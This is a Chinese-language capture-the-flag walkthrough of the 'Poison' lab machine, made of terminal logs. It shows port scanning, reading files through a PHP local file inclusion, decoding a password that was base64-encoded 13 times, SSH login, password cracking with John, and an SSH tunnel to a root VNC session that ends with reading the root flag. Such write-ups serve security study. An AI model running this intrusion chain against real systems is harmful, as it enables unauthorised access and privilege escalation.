┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -p- -Pn --min-rate=10000 -oG allport 10.10.10.84 [sudo] kali 的密码： Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-06 10:32 CST Warning: 10.10.10.84 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.10.84 Host is up (0.28s latency). Not shown: 52931 filtered tcp ports (no-response), 12602 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 74.56 seconds
┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -sV -sC -p22,80 -Pn --min-rate=10000 10.10.10.84 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-06 10:36 CST Nmap scan report for 10.10.10.84 Host is up (0.28s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0) | ssh-hostkey: | 2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA) | 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA) |_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519) 80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). |_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32 Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.69 seconds
3、访问80端口发现是一个PHP本地文件包含的网站
http://10.10.10.84/
http://10.10.10.84/browse.php?file=listfiles.php
http://10.10.10.84/browse.php?file=pwdbackup.txt
1
This password is secure, it's encoded atleast 13 times.. what could go wrong really.. Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo=
4、按照上面提示内容，对该文件进行13次bae64位解码，得到一个密码
1 2 3
data=$(cat pwd.b64); for i in $(seq 1 13); do data=$(echo$data | tr -d ' ' | base64 -d); done; echo$data
┌──(kali㉿kali)-[~/桌面] └─$ ssh charix@10.10.10.84 The authenticity of host '10.10.10.84 (10.10.10.84)' can't be established. ED25519 key fingerprint is SHA256:ai75ITo2ASaXyYZVscbEWVbDkh/ev+ClcQsgC6xmlrA. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.84' (ED25519) to the list of known hosts. (charix@10.10.10.84) Password for charix@Poison: Last login: Mon Mar 19 16:38:00 2018 from 10.10.14.4 FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017
Documents installed with the system are in the /usr/local/share/doc/freebsd/ directory, or can be installed later with: pkg install en-freebsd-doc For other languages, replace "en" with a language code like de or fr.
Show the version of FreeBSD installed: freebsd-version ; uname -a Please include that output and any error messages when posting questions. Introduction to manual pages: man man FreeBSD directory layout: man hier
Edit /etc/motd to change this login announcement. You can often get answers to your questions about FreeBSD by searching in the FreeBSD mailing list archives at
http://www.FreeBSD.org/search/search.html charix@Poison:~ % id uid=1001(charix) gid=1001(charix) groups=1001(charix)
┌──(kali㉿kali)-[~/桌面] └─$ john hashzip Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 3 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst Proceeding with incremental:ASCII 0g 0:00:04:21 3/3 0g/s 31310Kp/s 31310Kc/s 31310KC/s p0022/0p..p0p0281d Session aborted
┌──(kali㉿kali)-[~/桌面] └─$ ssh -L 9999:127.0.0.1:5901 charix@10.10.10.84 (charix@10.10.10.84) Password for charix@Poison: Last login: Sat Jan 6 04:05:32 2024 from 10.10.14.5 FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017
Documents installed with the system are in the /usr/local/share/doc/freebsd/ directory, or can be installed later with: pkg install en-freebsd-doc For other languages, replace "en" with a language code like de or fr.
Show the version of FreeBSD installed: freebsd-version ; uname -a Please include that output and any error messages when posting questions. Introduction to manual pages: man man FreeBSD directory layout: man hier
Edit /etc/motd to change this login announcement. FreeBSD is started up by the program 'init'. The first thing init does when starting multiuser mode (ie, starting the computer up for normal use) is to run the shell script /etc/rc. By reading /etc/rc and the /etc/rc.d/ scripts, you can learn a lot about how the system is put together, which again will make you more confident about what happens when you do something with it. charix@Poison:~ %
15、本地使用使用 vncviewer 工具 和压缩包获取的 secret 进行登录该程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
┌──(kali㉿kali)-[~/桌面] └─$ vncviewer 127.0.0.1:9999 -passwd secret Connected to RFB server, using protocol version 3.8 Enabling TightVNC protocol extensions Performing standard VNC authentication Authentication successful Desktop name "root's X desktop (Poison:1)" VNC server default format: 32 bits per pixel. Least significant byte first in each pixel. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0 Using default colormap which is TrueColor. Pixel format: 32 bits per pixel. Least significant byte first in each pixel. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0 Same machine: preferring raw encoding
16、成功获取到root的flag信息
1 2 3 4 5 6 7
root@Poison:~ # id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator) root@Poison:~ # id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator) root@Poison:~ # cat /root/root.txt 716d04b188419cf2bb99d891272361f5 root@Poison:~ #
